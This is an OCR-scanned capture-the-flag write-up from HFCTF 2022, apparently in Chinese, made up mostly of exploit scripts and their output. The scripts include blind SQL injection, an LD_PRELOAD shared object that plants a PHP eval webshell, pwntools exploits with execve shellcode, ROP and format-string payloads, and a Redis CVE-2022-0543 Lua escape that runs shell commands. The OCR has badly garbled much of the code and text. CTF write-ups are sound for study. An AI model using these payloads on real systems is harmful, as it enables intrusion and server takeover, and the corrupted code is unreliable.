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import requests

url = "http://47.107.231.226:31042/1ogin"
proxy = {"http": "http://127.0.0.1:8080"}

"qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHIKLZXCVBNM1234567890"!%"
"gqwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHIKLZXCVBNM1234567890"

while(length>-1):

for i in string:

if i CAY e il ! i '$':
i S\ i
payload "1'||case' 'when” password’ regexp'~{0}{1}'collate'utf8mb4_bin'then''else~B+~0+'1'end="'0".format(

res, i)
# payload = "1'[[case' 'when username regexp'~{0}{1} 'collate 'utf8mb4 _bin'then''else~0+~0+'1'end="0".formd
t(res, i)
json "username": payload, "password": "123"}
r requests.post(url=url, data=json, proxies=proxy)
if r.status_code 401:
res i
break
length 1
print(res)
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C\Windows\System32\cmd.exe - D:\Programs\Python3\python.exe "D:\Document\aZ=&E\E&F2022\babysgl\exp.py”
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ps aux|grep nginx
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2388 748 ?
65664 12412 °?
66424 5096 -
66384 5132
66416 5040 -
66404 5024 -
66344 4880 -
66008 3412 -
66008 4880 -
66008 3412 -
66008 3412 -
66008 3412 -
66008 3412 -
66008 3412 -

/bin/sh -c php-fpm -D && nginx -g 'daemon off;'
nginx: master process nginx -g daemon off;
nginx: worker process

nginx: worker process

nginx: worker process

nginx: worker process

nginx: worker process

www-data nginx: worker process
www-data nginx: worker process
www-data nginx: worker process
www-data nginx: worker process
www-data nginx: worker process

www-data nginx: worker process
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www-data

nginx: worker process
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# 1s -al /proc/12/fd
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data

www-data www-data

www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data
www-data www-data

www-data www-data

A % B so 3

//evil.c
//gcc evil.c -0 evil.so -shared -fPIC

#include <stdio.h>
#tinclude <unistd.h>
#include <stdio.h>

attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("echo \"<?php eval(\\$_POST[1]);?>\" > /var/www/html/evil.php");
}

expin



import requests
import threading

url "http://127.0.0.1:8003/index.php"

def write():
filebytes ('a'*100000) .encode()
evil open('evil.so', 'rb').read()
payload = evil + filebytes
while True:

res requests.post(url, files={'file': ('evil.so', filebytes)})

read():
while True:
for i in range(0,21):
res requests.get(url+"?env=LD_PRELOAD%3D/proc/12/fd/../fd/"+str(i))
print('result:"’ res.text)
time.sleep(1)

if _ _name__ __main__":

evnet threading.Event()

for i in range(5):
threading.Thread(target=write).start()

for i in range(5):
threading.Thread(target=read).start()

evnet.set()

%2 https:/lwww.anquanke.com/post/id/175403#h2-3
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# _* coding:utf-8 _*
from pwn import
context.log level 'debug'’
context.arch 'amd64 '
'./gogogo’

#tefL=ELF (prog)

= process(prog)#,env={"LD PRELOAD":"./libc-2.31.s50"})

= ELF("./libc-2.31.50")

#nc 123.57.131.167 36048
p = remote("120.25.148.180",30333)
def debug(addr,PIE=False):
debug_str "
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)




debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)

else:
for i in addr:
debug_str+='b *{}\n'.format(hex(i))
gdb.attach(p,debug_str)

def dbg():

gdb.attach(p)

raw_input()

lambda :p.send(data) #1in case that data is an int
lambda delim,data :p.sendafter(delim, data)

lambda data :p.sendline(data)

lambda delim,data :p.sendlineafter(delim, data)

lambda numb=4096 :p.recv(numb,timeout 1)

lambda delims, drop=True :p.recvuntil(delims, drop)

lambda :p.interactive()

lambda data :u32(data.ljust(4, '\e"))

lambda data :ub4(data.ljust(8, '\e'))

lambda bkp :pdbg.bp(bkp)

lambda stril,datal :log.success(stri+' >'+hex(datal))

def dbgc(addr):
gdb.attach(p,"b*" hex(addr) +"\n c")

def 1lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m"'%(s,addr))
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#https://www.exploit-db.com/shel lcodes

def guessTrainner(testAnswer):
start =time.time()
answer=getAnswer (testAnswer)
print (answer)
answerSet=answerSetInit(set())
for i in range(6):
inputStrMax=suggestedNum(answerSet,100)
AMax , BMax compareAnswer (inputStrMax, answer)
answerSetUpd(answerSet, inputStrMax, AMax, BMax)
if AMax==4:
elapsed (time.time() start)
break

def getAnswer(testAnswer):
total '123456789"
answer = random.sample(total, 4)
if testAnswer > 999:
answer = str(testAnswer)




return answer

def compareAnswer (inputStr,answerStr):
A=0
B=0
for j in range(4):
if inputStr[jl==answerStr[j]:
A+=1
else:
for k in range(4):
if inputStr[jl==answerStr[k]:
B+=1
return A,B

def answerSetInit(answerSet):
answerSet.clear()
for i in range(1234,9877):
seti=set(str(i))
if len(seti)==4 and seti.isdisjoint(set('0')):
answerSet.add(str(i))
return answerSet

def answerSetUpd(answerSet,inputStr,A,B):
answerSetCopy=answerSet.copy()
for answerStr in answerSetCopy:
Al,Bl=compareAnswer (inputStr,answerStr)
if A=Al or B!=B1:

answerSet.remove(answerStr)

def answerSetDelNum(answerSet,inputStr,A,B):
i=0
for answerStr in answerSet:
Al, Bl = compareAnswer(inputStr, answerStr)
if A=Al or B!=B1:
i+=1

return i

def suggestedNum(answerSet,1lvl):
suggestedNum=""
delCountMax=0
if len(answerSet) 1vl:

suggestedNum = list(answerSet)[0]
else:

for inputStr in answerSet:
delCount (%]
for answerStr in answerSet:

A,B = compareAnswer(inputStr, answerStr)

delCount answerSetDelNum(answerSet, inputStr,A,B)
if delCount delCountMax:
delCountMax = delCount

suggestedNum inputStr
if delCount delCountMax:




suggestedNum = inputStr
# print(inputStr+' '+str(delCount)+" '+suggestedNum)
return suggestedNum
sla("UT A NUMBER:\n", '1717986918")
sla("UT A NUMBER:\n", '1234")
sla("YOU HAVE SEVEN CHANCES TO GUESS\n",'1 2 3 4'")
answerSet=answerSetInit(set())
A=int(ru("A"))
B=int(ru("B"))
1g('A',int(A))
1g('A',int(B))
delCount=answerSetDelNum(answerSet, '1234"',A,B)
answerSetUpd(answerSet, '1234',A,B)
sl
count=0
for j in suggestedNum(answerSet,100):
sl=s1+j
if (count<3):
sl=sl+" '
count=count+1
sl(s1)
for i in range(5):
try :
A=int(ru("A"))
B=int(ru("B"))
delCount=answerSetDelNum(answerSet, suggestedNum(answerSet,100),A,B)
answerSetUpd(answerSet, suggestedNum(answerSet,100),A,B)
sl =""
count=0
for j in suggestedNum(answerSet,100):
sl=sl1+j
if (count<3):
sl=s1+" '
count=count+1
sl(sl)
except:
break
sla("GAIN OR EXIT?\n", 'EXIT')
sla("(4) EXIT\n",'4")
pay="yes\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/bin/sh\x00\x00"
pay=pay.ljust(0x460, 'a")

rdx=0x000000000048546C
syscall=0x000000000045c849
rax=0x0000000000405b78
rdiad10=0x000000000045bcbc
rcx=0x000000000044dbe3
Xchraxrsi=0x000000000045b327

payload=pay+p64(0x000000000045bcbc)+p64(rcx)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(0)+p64d(xchraxrsi)+p64(rax)+p64(
59)+p64(syscall)

sla(" SURE?\n",payload)

sla("AND BYE~\n",payload)
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# _* coding:utf-8 _*_
from pwn import
from ctypes import cdll
context.log_level 'debug'’
context.arch ‘amd64’
'./babygame’
ftefl=ELF(prog)
= process(prog)#,env={"LD PRELOAD":"./libc-2.31.s0"})
ELF("./1libc-2.31.s0")
#nc 123.57.131.167 36048
p remote("120.25.205.249",28468)
def debug(addr,PIE=True):
debug_str "
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+="'b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
debug_str+='b *{}\n'.format(hex(i))
gdb.attach(p,debug_str)
def dbg():
gdb.attach(p)
raw_input()

.send(data) #in case that data is an int
lambda delim,data :p.sendafter(delim, data)
lambda data :p.sendline(data)
lambda delim,data :p.sendlineafter(delim, data)
lambda numb=4096 :p.recv(numb,timeout = 1)
lambda delims, drop=True :p.recvuntil(delims, drop)
lambda :p.interactive()
lambda data :u32(data.ljust(4, '\e"))
lambda data :ub4(data.ljust(8, '\0"))
lambda bkp :pdbg.bp(bkp)
lambda stril,datal :log.success(strl >'+hex(datal))

def dbgc(addr):
gdb.attach(p,"b*" hex(addr) +"\n c")

def 1lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m"'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2F\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

NI CEIPLERAVEN AV AV CEAV CIAVEEAVEN AV CEAV A AV A AVVEAV CEAVCEAV A AV CYAV CEAVCIAVE AV CEAV (L AV E: [ I
sh="\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xcO\x3b\x00\x00\x009
\x0f\x05"




passwd cdll.LoadLibrary("'./libc-2.31.s0")
sa("input your name:\n",'a'*@x110)
passwd.srand(0x61616161)
stack=uu64(ru("\x7f",drop=False)[-6:])
for i in range(100):
v@=passwd.rand()%3
if (ve==1):
sla(": \n",'2")
if (ve==2):
sla(": \n",'0")
if (ve==0):
sla(": \n","'1")
#gdb.attach(p, "b printf\n c")
#tdebug ([0x144e])
ret=stack-0x218
lg('ret',ret)
#pay="%10c%8%hhnZ%12%pa'+p64(ret)
pay="'%9%p%48c%8%hhnaa’+p64(ret)
sla(" you.\n",pay)
ru('ex")
libc_base=int(r(12),16)-0x61d0a
one=1ibc_base+0xe3b31
#gdb.attach(p, "b printf\n c")
onel=one&Oxff
8)&0xff
16)&0xff
24)&0xft
32)&0xff
40)&0xFf
onelist=[onel,one2,one3,one4,one5,o0ne6 ]
onesortlist=[onel,one2,0one3,one4,one5,o0ne6 ]
onesortlist.sort()

pay="%"+str(onesortlist[0])+'c%'+str(22+onelist.index(onesortlist[0]))+"'$hhn'
'%"'+str(onesortlist[1]-onesortlist[0])+'c%"'+str(22+onelist.index(onesortlist[1]))
'%"'+str(onesortlist[2]-onesortlist[1])+'c%"'+str(22+onelist.index(onesortlist[2]))
'%'+str(onesortlist[3]-onesortlist[2])+'c%"'+str(22+onelist.index(onesortlist[3]))
'%"'+str(onesortlist[4]-onesortlist[3])+'c%"'+str(22+onelist.index(onesortlist[4]))
)

'%"'+str(onesortlist[5]-onesortlist[4])+"'c%"+str(22+onelist.index(onesortlist[5])
pay=pay.ljust(0x80,'\0")
pay+=p64(ret)+p64(ret+l)+p64(ret+2)+p64(ret+3)+p64(ret+4)+p6d(ret+5)
sla(" you.\n",pay)
1g("one",one)

1g("idx1",onelist.index(onesortlist[0]))
1g("idx2",onelist.index(onesortlist[1]))
it()
#HFCTF{5132265d-51e9-4155-bc9d-fblcad5d257d}
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Disassembly of section uprobe/func:

0000000000000000 <uprobe>:
0: r2 = *(ue4 *)(rl + 104)
r2 <<= 32
r2 >»>= 32
r3 = *(ue4 *)(rl1 + 112)
r3 <<= 32
r3 >>= 32
r4 P32
r4 *= 28096
r5 r2
5 64392
r5 += r4
rd4 = *(ued *)(ri
r4 <<= 32
r4 >>= 32
ro = rd
re *= 29179
r5 += ro
rl = *(u64 *)(ri
ro = 0
*(u8 *)(ri1e - 8)
*(ued *)(ri1e - 16)
*(ued *)(ri1e - 24)
rl <<= 32
rl >>= 32
ro ril
ro 52366
r5
ré
ro 209012997183893 11
if r5 != r@ goto +66 <LBBO 5>
r5 = r3
r5 *= 61887
ro = r2
34: re *= 27365
35§ re += r5
36: r5 = r4
37: Y e
38: re += r5
BOE r5 = ril
40: r5 *= 37508
41: re += r5
42: r5 = 181792633258816 11
44: if r@ != r5 goto +52 <LBBO_ 5>
45: r5 = r3
46: r5 *= 56709
47: ro = r2
48: re *= 32808
49: re += r5
50:
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r5 *= 59154
rée += r5
r5 = 183564558159267 11
if r@ != r5 goto +38 <LBB@_5>
r5 = r3
r5 *= 33324
ro = r2
re *= 51779
re += r5
r5 = r4
r5 *= 31886
re += r5
r5 = ril
r5 *= 62010
re += r5
r5 204080879923831 11
if r@ != r5 goto +24 <LBBO_5>
*(u32 *)(rie - 12) = ri1
*(u32 *)(rle - 16) = r4
*(u32 *)(rle - 20) = r2
*(u32 *)(ri1e - 24) = r3
rl = 755886917287302211 11
*(ued *)(ri1e - 40) = ri
rl = 5064333215653776454 11
*(ued *)(rie - 48) =ril
rl = 2329017756590022981 11
*(ued *)(rie - 56) = ri
rl = 5642803763628229975 11
*(ued *)(ri1e - 64) = ril
ré = 0
*(u8 *)(ri1e - 32) = ré6
rl = rle
rl += -64
r3 = rloe
r3 -24
r2 = 33
call 6

0000000000000308 <LBBO_5>:
97:
98: exit

FHEH-ATEH, BF—T, BFEHFHEA




.add(52366*a+29179*b+64392*c+28096*d==209012997183893)
.add(37508*a+44499*b+27365*c+61887*d==181792633258816)
.add(59154*a+25901*b+32808*c+56709*d==183564558159267)
.add(62010*a+31886*b+51779*c+33324*d==204080879923831)
if solver.check()==sat:
ans = solver.model()
print(ans)
else:

print('no!")

1148205171,
859138098,
861042224,
1651261811]

1 [859138098,1148205171,1651261811,861042224 ]
s -
for i in range(4):
X hex(1[3-i])[2:]
for k in range(4):
f chr(eval('eOx'+x[6-2*k:6-2*%k+2]))
print f

flag:HF CTF{OvR3sAlbs8pD2h53}

jeb¥T ¥, & TestActivity

ontent. Context;

Bundle;

Debug;

Process;

SystemClock;
util. Log;
ebkit.JavascriptInterface;
ebkit.WebSettings;
ebkit.WebView;
idget.Toast;

mpat.app. AppCompatActivity;

public class TestActivity extends AppCompatActivity {
WebView webView;

static {
System.loadLibrary("native-1ib");




public TestActivity() {

super();

@JavascriptInterface public void alert(String arg2) {
Toast.makeText (((Context)this), ((CharSequence)arg2), 1).show();

public native String check(String argl) {
}

@JavascriptInterface public void die() {
Process.killProcess(Process.myPid());

@JavascriptInterface public String docheck(String arg2) {

this.runOnUiThread(new Runnable() {
public void run() {
int veO;
for(ve = 0; vO 10; vo) {
if(Debug.isDebuggerConnected()) {
Log.e("HUFU22", "DIEDIEDIE"),
Process.killProcess(Process.myPid());

SystemClock.sleep(100);

1)

return this.check(arg2);

@JavascriptInterface public String init() {
return this.stringFromINI();

protected void onCreate(Bundle arg2) {
super.onCreate(arg2);
this.setContentView(0x7F09001D) ;
this.webView = this.findViewById(@x7F070093);
WebSettings v2 = this.webView.getSettings();
v2.setJavaScriptEnabled(true);
v2.setDatabaseEnabled(true);
this.webView.addJavascriptInterface(this, "gameManager");
this.webView.loadUrl("file:///android_asset/web/index.html");

@JavascriptInterface public void pre(String argl) {
this.prenative(argl);




public native void prenative(String argl) {

}

public native String stringFromINI() {
}

EIRE
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int64 _ fastcall sub _540C(__int64 al, int a2)

unsigned int v2; // w23

int v3; // w27

int v4; // we

int v5; // w8

_BooL4 ve6; // w8

_BYTE *v7; // x25

char *v8; // x26

char v9; // w9

_ int128 vi0; // go

in_addr_t v11; // weé

char *v12; // x0

__int128 vi13; // q@

_BYTE *v14; // x26

char *v15; // x27

char v16; // w9

__int128 vi17; // q@

int fd; // [xsp+24h] [xbp-16Ch]

const struct sockaddr *v22; // [xsp+28h] [xbp-168h]
bool v23; // [xsp+33h] [xbp-FDh]

int v24; // [xsp+34h] [xbp-FCh]

struct sockaddr v25; // [xsp+38h] [xbp-F8h] BYREF
int v26[9]; // [xsp+4Ch] [xbp-E4h] BYREF
char v27[96]; // [xsp+76h] [xbp-Coh] BYREF
__int64 v28; // [xsp+Doh] [xbp-66h]

v28 (_QWORD *)(_ReadStatusReg(ARM64 SYSREG(3, 3, 13, @, 2)) + 40);
v4 = socket(2, 2, 9);
v5 Ox4706E5A6;
fd va;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v5 0x2C7672FD )
{
if ( v5 Ox3DOAE75B )

{
if ( v5 == 745960190 )



https://github.com/lujiawen/ollvm-breaker

v23 v24 az2;
if ( (y.20 > 9) ~ (((_BYTE)x_ 19 - 1) * (_BYTE)x_19) & 1 ((y_ 26 > 9) | (((_BYTE)x 19 - 1) * (_B
1))
v5 185613023;
else
) Ox422EE3A3;
}
else
{
v7 malloc(@x11u);

v7 1;
v8 (char *)malloc(©x34u);

(_DWORD *)v8 = dword_10330;

((_DWORD *)v8 + 1) = 4;

((_DWORD *)v8 2) time(OLL);
sub_C004((__int64)v27);
sub_CO1C((__int64)v27, v7, 17LL);
sub_C098((__int64)v27, v26);
v9 = v7[16];
v10 (_OWORD *)Vv7;

((_DWORD *)v8 + 3) v26([0];

((_DWORD *)v8 + 4) ox11;
v8[36] v9;

(_OWORD *)(v8 pl2)) v10;
sendto(fd, v8, 52u, 0, v22, 16);
close(fd);

\ 0;
v5 11889251,

¥
else if ( v5 Ox3DPAE75C )

{
(_QWORD *)&v25.sa_family = 2LL;
(_QWORD *)&v25.sa_data[6] oLL;
vll = inet_addr((const char *)&xmmword 10320);
(_WORD *)v25.sa_data = 25166;
(_DWORD *)&v25.sa_data[2] vi11;
v22 v25;
sub_49A0((unsigned int)fd, &v25);
v12 (char *)malloc(@x11u);
v13 xmmword_102EQ;
v1l4 v12;
v12 1;
(_OWORD *)(v12 + 1) = v13;
v15 (char *)malloc(©x34u);
(_DWORD *)v15 = dword_10330;
((_DWORD *)v15 + 1) = 1;
((_DWORD *)v15 + 2) = time(OLL);
sub_C004((__int64)v27);
sub_CO1C((__int64)v27, vi4, 17LL);
sub_C098((__int64)v27, v26);
vli6e = vi14[16];
v17 (_OWORD *)v14;
((_DWORD *)v15 + 3) = v26[0];
((_DWORD *)v15 + 4) = 17;
v15[36] = v16;
(_OWORD *)(v15 + 20) = v17;
sendto(fd, v15, ©x34u, 0, &v25,
V3 0




1876117838;

if ( v5 == Ox422EE3A3 )
Ox2C7672FE;

if ( fd >= 0 )

Ox3DOAE75C;

OXAE71CE55;

)i

if ( v5
break;

if ( v5

{

(int)OxFAEFC520 )

1876117838 )

v24 V3;

v6 ((((x_19

if ( (y_20 > 9)
V5 745960190;

else
V5

1)
v6

x_19) ~ OXFFFFFFF
(y_20 <= 9

Ox422EE3A3;
)i
else
{
printf((const char
v2 1;
v5 = 11889251;

)&xmmword_10300) ;

s

if ( v5
break;

if ( v23 )
V5 310177078,

else
v5

185613023 )

778154700;
b
if ( v5

break;

sub_4D40((unsigned int)fd,
v3 v24 iLg
v5 1876117838;

b

return v2;

310177078 )

(__inte4)v22, v24

MRESHITUEER, KEKREFRKERZ0GS, SHEBELT—H, HEMN20THELTAESINE K, % Hello from

2048, HAPSE#HITTIBH.

RIG R FEwebEB4rigame_manager.js, BB,

)
v6) )

57005,

((x_19

1) * x_19))

(unsigned _ int8

9;

) (a1l v24));

EIR¥E 5 W LA Blxteain %
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function kzlso(_©x453233, ©x2117ab) {
var _0x42d6d5 new Array(2),
_Oxdbb6cad = new Array(4),
_0x26580b = "",
_@x2c42cb;

for (var _Ox502c82 = 0; _0x502c82 < 4; 0x502c82++) _Oxdb6cad|[ 0x502c82] as8dh(_©x2117ab["slice"](_0x502c8§
4, (_0x502c82 1) 4));

var _0x5c8afb = _0x453233["length"] 8;

if (_ox5c8afb 9) {
for (_0x502c82 = @; _0x502c82 < 8 - _Ox5c8afb; _0x502c82++) {
_0x453233 _0x453233 g

for (_Ox502c82 = 0; _0x502c82 < _0x453233["length"]; _0x502c82 8) {
_0x42d6d5[0] as8dh(_0x453233["slice"](_0x502c82, _0x502c82 + 4));
_0x42d6d5[1] as8dh(_0x453233["slice"](_Ox502c82 + 4, 0x502c82 + 8));
ajsdhg(_ox42d6d5, _oxdbé6cad);
_0x265860b mzxyue8(_0x42d6d5[0]) mzxyue8(_0x42d6d5[1]);

return _0x26580b;

void decipher(uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t ve=v[0], vi=v[1], delta=2654435769, sum=delta*32;
for (i=0; i num_rounds; i++) {
vl (((ve 4) (voe 5)) Vo) (sum + key[ (sum>>11) 31);
sum delta;
%) (((v1 4) (vi ) vl) (sum + key[sum & 3]);

}
v[@]=ve; v[1l]=v1;

fR %18 Blflag{6dcdac98075f11316af7a239c9ddfe4 7}

base64f#Eid 5 KA EEMN, KPERES, BEERRGS

dOBRO POVALOWATX NA MAT, WY DOLVNY PEREWESTI TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY
STRONYE. gBLONYJ ARBUZ. VELAEM WAM OTLINOGO DNQ.




Bk R BRE, EHMEO BT

lobpo noBasowaTx Ha MaT, WA LONBHW MepewecTu TO Ha aHM/IMbICKMbI A3MK.

TwWobl CekpeT COCTOMT W3 AuyX CJol.
lice 6ykwi cTpoHiie.
A610HIMbl apby3.

Benaem uwam OTAUHONO AHA.

A EREN AN R E RS R b

Welcome to the mat, please move it to the English language./Well, you put it on a cushion and keep it for a long
time.

A good secret consists of two layers. /It's a secret.

Shchse bukshchy stronye./This is a string.

Apple watermelon./Apple watermelon.
We wish you a great day. /We have a beautiful day.

bE i3 3 f#flag WHFCTF{apple_watermelon}
Quest-Crackme
120.76.219.239:26160

BENFF 5 K PR B getflag b Z0 B8 B redis i 35

XHHE) SEE =BV FRE) BEE) ITREO =280

- X
120.79.121.132:38841/shell php? x  Quest - RCE X Quest - Crash x |+
<« C @ QO 8 12076.219.239:26160 A m @D Q@ B % @ & B =

D xMEssES @ FFLEE @ hitpsy//codechina.cs. D =itsE [Jrmsgtnss

Crash me!

Welcome! Try crash me to get the flag

These are some useful commands you might want to have a try.

SYSINFO GETFLAG INFO KEYS * FLUSHALL
SET aaaaa 1231312 Execute
GET Query

rver is still running, pid: 7.

TEBIFE R redis BEIR M F A BT, T8 8 K08 KB e Rtk



Burp Project IghAR(Intruder) =HRR(Repeater) HO #H Burp Suite Professional v2021.8.2 - Temporary Project - licensed to surferxyz — O X |
B3 T =(Decoder) itk T&(Comparer) Logger f&ftHT = (Extender) ImB%Em(Project options) FAFzEIR(User options) Learn
{%Z=&(Dashboard) B#R(Target) {£H(Proxy) Hga&(Intruder) Exi7a(Repeater) TEFFRA(Sequencer)
1 x 2 =
BiR(Target) wE BEE FiFith(Resource Pool) EIE(Options)

| @ payload{ii & (Payload Positions)
EEEpayloadsii N\ EREKRINIE, KBFEEELEE T payloadsSERBMMISNAR - INRESEXNEMEE, BESREH. (Configure the positions where payloads

will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.)

WrEER(Attack type): [ jBRZE-E-~payload(Sniper) v I
1 POST /sendreq HTTE/L.1
Z Host: 120.76.219.239:26160
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; =E4; rv:98.0) Gecko/20100101 Firefox/%8.0
4 Accept: */*
S Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7,zh-HE;q=0.5,en-US;q=0.3,en;q=0.C
6 Accept-Encoding: gzip, deflate
7 Referer: http://120.76.219.239:26160/
§ Content-Type: applicatlion/json
S Origin: http://120.76.219.239:26160
10 Content-Length: 37
11 DNT: 1
12 Connection: close
13
14 {"query'":
"SSET '\ "aaaaaa a a a a a a a a aa
a a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
a a a a a a a a a aa
= = = = = = = = = aa
| JEZE(Search)... ISEITE
BLE 2 {-payload{irZ(payload positions) ®E: 6676

|

ilpayloadfr §(Add §) |
iabgpayload{ir= §(Clear §) ]
BamEpayloadfirE §(Auto §) ]
RlIF(Refresh) ]

[
[
[
[

7BB&(Clear)

Burp KE AR BITRI B, 2R E5000 R O A 5t



wEH #EFE 7 10. Intruder attack of 120.76.219.239 - Temporary attack - Not saved to project file - O X
=S BiR(Target) Biva=r BRHER ZiFitz(Resource Pool) 3EIE(Options)
‘ Fig(Filter): B ~FrELIH (Showing all items) |®
EH(Requ... HE(Sta... ~ $BI2(Er..  #i  KE(lengt.. FEE(Comment)
825 bwaa 500 dJ O 464
826 7waa 500 O 1 464
828 9waa 500 OJ O 464
829 axaa 500 O [ 464
830 bxaa 500 O 1 464
836 hxaa 500 O] O 464
838 jxaa 500 O [ 464
839 kxaa 500 O T 464
841 mxaa 500 O] 464
842 nxaa 500 O 1 464
844 pxaa 500 O 1 464
845 gxaa 500 dJ Tl 464
848 tvaa 500 M T a4
3409 C—




< C A =2 12076.219.239:26160 B 2 % * &

windows3#>] python ) zAm @ BE | BEEEN SEEFS] mEngs @ aXlab O TRsEBATHE. i AFBETE—T B == s Q ERSRHEAFES... » sszs | B @Enas
Crash me!

Welcome! Try crash me to get the flag.

These are some useful commands you might want to have a try.

SYSINFO GETFLAG INFO KEYS * FLUSHALL

SET Execute
GE Query

HFCTF {28618£b70-ae 17-4b94-8£ 00-9e9550c£ 0c60]

BIAGETFLAG

Quest-Rce
iR B 48 B redis ] LASE X AN B F F ) 2 CVE-2022-0543
VW LA :  hitps://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README .zh-cn.md

POST /sendreq HTTP/1.1

Host: 120.25.155.106:28311

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
S */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;gq=0.7,zh-HK;gq=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://120.25.155.106:28311/

Content-Type: application/json

Origin: http://120.25.155.106:28311

Content-Length: 261

Connection: close

{"query":"SET A A\r\neval \"local io_l = package.loadlib('/usr/1ib/x86_64-linux-gnu/liblua5.1.s0.0', 'luaopen_io
'); local io = io _1(); local f = io.popen('cat flag UVEmnDKY4VHyUVRVj46ZeojgfZpxzG', 'r'); local res = f:read('*
a'); f:close(); return res\" @ \r\n"}

CEILINE

AR B R R R

(45 E F B 77 . (img-BMWDZRhM-1648197572826)]
Burp KE AR BT IR, iR EI5008F R~ B it

Sk B AE ... (iImg-XJXi1JYZ-1648197572826)]



[4Me B H B2 . (img-WwzZSRq-1648197572827)]

BI"GETFLAG

Quest-Rce
18I &R H 48 Bredis AT BUF X 4~ B F)F )2 CVE-2022-0543
T LLE: https://github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.zh-cn.md

POST /sendreq HTTP/1.1

Host: 120.25.155.106:28311

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;gq=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Referer: http://120.25.155.106:28311/

Content-Type: application/json

Origin: http://120.25.155.106:28311

Content-Length: 261

Connection: close

{"query":"SET A A\r\neval \"local io_l = package.loadlib('/usr/1lib/x86_64-1linux-gnu/liblua5.1.s0.0', 'luaopen_io
'); local io = io_1(); local f = io.popen('cat flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG', 'r'); local res = f:read('*

2'); f:close(); return res\" @ \r\n"}
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